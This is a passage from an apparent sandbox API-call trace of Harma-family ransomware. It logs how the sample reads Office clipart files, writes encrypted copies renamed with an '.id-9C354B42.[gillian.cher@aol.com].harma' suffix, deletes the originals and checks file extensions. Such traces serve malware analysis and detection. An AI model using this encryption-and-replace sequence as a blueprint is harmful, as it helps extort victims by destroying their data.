Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.577] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.577] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.578] GetLastError () returned 0x0 [0154.578] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xfea, lpOverlapped=0x0) returned 1 [0154.603] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xff0, lpOverlapped=0x0) returned 1 [0154.604] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.604] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.604] SetEndOfFile (hFile=0x350) returned 1 [0154.604] CloseHandle (hObject=0x350) returned 1 [0154.604] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.604] SetEndOfFile (hFile=0x384) returned 1 [0154.606] CloseHandle (hObject=0x384) returned 1 [0154.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0154.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.607] lstrlenW (lpString=".doc") returned 4 [0154.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.607] lstrlenW (lpString=".docx") returned 5 [0154.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.608] lstrlenW (lpString=".pdf") returned 4 [0154.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.608] lstrlenW (lpString=".xls") returned 4 [0154.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.608] lstrlenW (lpString=".xlsx") returned 5 [0154.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.608] lstrlenW (lpString=".ppt") returned 4 [0154.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.608] lstrlenW (lpString=".zip") returned 4 [0154.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.608] lstrlenW (lpString=".rar") returned 4 [0154.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.608] lstrlenW (lpString=".bz2") returned 4 [0154.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.608] lstrlenW (lpString=".7z") returned 3 [0154.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.608] lstrlenW (lpString=".dbf") returned 4 [0154.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.608] lstrlenW (lpString=".1cd") returned 4 [0154.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.609] lstrlenW (lpString=".jpg") returned 4 [0154.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.609] lstrlenW (lpString=".doc") returned 4 [0154.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString=".docx") returned 5 [0154.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.609] lstrlenW (lpString=".pdf") returned 4 [0154.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString=".xls") returned 4 [0154.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.609] lstrlenW (lpString=".xlsx") returned 5 [0154.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.609] lstrlenW (lpString=".ppt") returned 4 [0154.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.609] lstrlenW (lpString=".zip") returned 4 [0154.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.609] lstrlenW (lpString=".rar") returned 4 [0154.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString=".bz2") returned 4 [0154.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.609] lstrlenW (lpString=".7z") returned 3 [0154.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.610] lstrlenW (lpString=".dbf") returned 4 [0154.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.610] lstrlenW (lpString=".1cd") returned 4 [0154.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0154.610] lstrlenW (lpString=".jpg") returned 4 [0154.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.610] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.610] lstrlenW (lpString="FD00397_.WMF") returned 12 [0154.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.611] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10816) returned 1 [0154.611] CloseHandle (hObject=0x384) returned 1 [0154.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0154.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.611] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.611] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0154.612] GetLastError () returned 0x0 [0154.612] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2a40, lpOverlapped=0x0) returned 1 [0154.662] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0154.663] ReadFile (in: hFile=0x384, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.663] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.663] SetEndOfFile (hFile=0x350) returned 1 [0154.663] CloseHandle (hObject=0x350) returned 1 [0154.664] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.664] SetEndOfFile (hFile=0x384) returned 1 [0154.666] CloseHandle (hObject=0x384) returned 1 [0154.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.693] lstrlenW (lpString=".doc") returned 4 [0154.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".docx") returned 5 [0154.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.693] lstrlenW (lpString=".pdf") returned 4 [0154.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".xls") returned 4 [0154.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.693] lstrlenW (lpString=".xlsx") returned 5 [0154.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.693] lstrlenW (lpString=".ppt") returned 4 [0154.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.693] lstrlenW (lpString=".zip") returned 4 [0154.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.693] lstrlenW (lpString=".rar") returned 4 [0154.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".bz2") returned 4 [0154.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.693] lstrlenW (lpString=".7z") returned 3 [0154.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.693] lstrlenW (lpString=".dbf") returned 4 [0154.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.694] lstrlenW (lpString=".1cd") returned 4 [0154.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.694] lstrlenW (lpString=".jpg") returned 4 [0154.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.694] lstrlenW (lpString=".doc") returned 4 [0154.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".docx") returned 5 [0154.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.694] lstrlenW (lpString=".pdf") returned 4 [0154.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.694] lstrlenW (lpString=".xls") returned 4 [0154.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.694] lstrlenW (lpString=".xlsx") returned 5 [0154.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.694] lstrlenW (lpString=".ppt") returned 4 [0154.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.695] lstrlenW (lpString=".zip") returned 4 [0154.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.695] lstrlenW (lpString=".rar") returned 4 [0154.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString=".bz2") returned 4 [0154.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString=".7z") returned 3 [0154.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.695] lstrlenW (lpString=".dbf") returned 4 [0154.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.695] lstrlenW (lpString=".1cd") returned 4 [0154.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0154.695] lstrlenW (lpString=".jpg") returned 4 [0154.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.695] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.695] lstrlenW (lpString="FD00428_.WMF") returned 12 [0154.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.696] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4796) returned 1 [0154.696] CloseHandle (hObject=0x374) returned 1 [0154.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0154.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.696] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.696] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.697] GetLastError () returned 0x0 [0154.697] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0154.914] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0154.915] ReadFile (in: hFile=0x374, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.915] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.915] SetEndOfFile (hFile=0x37c) returned 1 [0154.916] CloseHandle (hObject=0x37c) returned 1 [0154.916] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.916] SetEndOfFile (hFile=0x374) returned 1 [0154.918] CloseHandle (hObject=0x374) returned 1 [0154.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0154.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.919] lstrlenW (lpString=".doc") returned 4 [0154.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.919] lstrlenW (lpString=".docx") returned 5 [0154.919] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.919] lstrlenW (lpString=".pdf") returned 4 [0154.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.919] lstrlenW (lpString=".xls") returned 4 [0154.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.919] lstrlenW (lpString=".xlsx") returned 5 [0154.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.920] lstrlenW (lpString=".ppt") returned 4 [0154.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString=".zip") returned 4 [0154.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.920] lstrlenW (lpString=".rar") returned 4 [0154.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString=".bz2") returned 4 [0154.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString=".7z") returned 3 [0154.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString=".dbf") returned 4 [0154.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString=".1cd") returned 4 [0154.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString=".jpg") returned 4 [0154.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.920] lstrlenW (lpString=".doc") returned 4 [0154.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.920] lstrlenW (lpString=".docx") returned 5 [0154.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.920] lstrlenW (lpString=".pdf") returned 4 [0154.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString=".xls") returned 4 [0154.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.921] lstrlenW (lpString=".xlsx") returned 5 [0154.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.921] lstrlenW (lpString=".ppt") returned 4 [0154.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.921] lstrlenW (lpString=".zip") returned 4 [0154.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.921] lstrlenW (lpString=".rar") returned 4 [0154.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString=".bz2") returned 4 [0154.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString=".7z") returned 3 [0154.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.921] lstrlenW (lpString=".dbf") returned 4 [0154.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.921] lstrlenW (lpString=".1cd") returned 4 [0154.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0154.921] lstrlenW (lpString=".jpg") returned 4 [0154.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.921] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0154.921] lstrlenW (lpString="FD00459_.WMF") returned 12 [0154.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.922] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=17406) returned 1 [0154.922] CloseHandle (hObject=0x374) returned 1 [0154.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20 [0154.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0154.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0154.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 